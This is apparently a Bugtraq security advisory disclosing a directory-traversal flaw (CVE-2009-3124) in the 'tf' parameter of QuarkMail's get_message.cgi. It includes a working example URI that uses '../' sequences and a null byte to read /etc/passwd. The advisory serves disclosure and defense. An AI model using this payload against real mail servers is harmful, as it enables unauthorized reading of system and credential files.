QuarkMail 'tf' Parameter Directory Traversal Vulnerability

Bugtraq ID:	44226
Class:	Input Validation Error
CVE:	CVE-2009-3124
Remote:	Yes
Local:	No
Published:	Aug 28 2009 12:00AM
Updated:	Aug 28 2009 12:00AM
Credit:	Securitylab.ir
Vulnerable:	Beijing Xiong Zhi Technology Co., Ltd QuarkMail 0
Not Vulnerable:

QuarkMail 'tf' Parameter Directory Traversal Vulnerability

QuarkMail is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

QuarkMail 'tf' Parameter Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example URI is available:

http://www.example.com/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes

QuarkMail 'tf' Parameter Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

QuarkMail 'tf' Parameter Directory Traversal Vulnerability

References:

• Product Page (Beijing Xiong Zhi Technology Co., Ltd)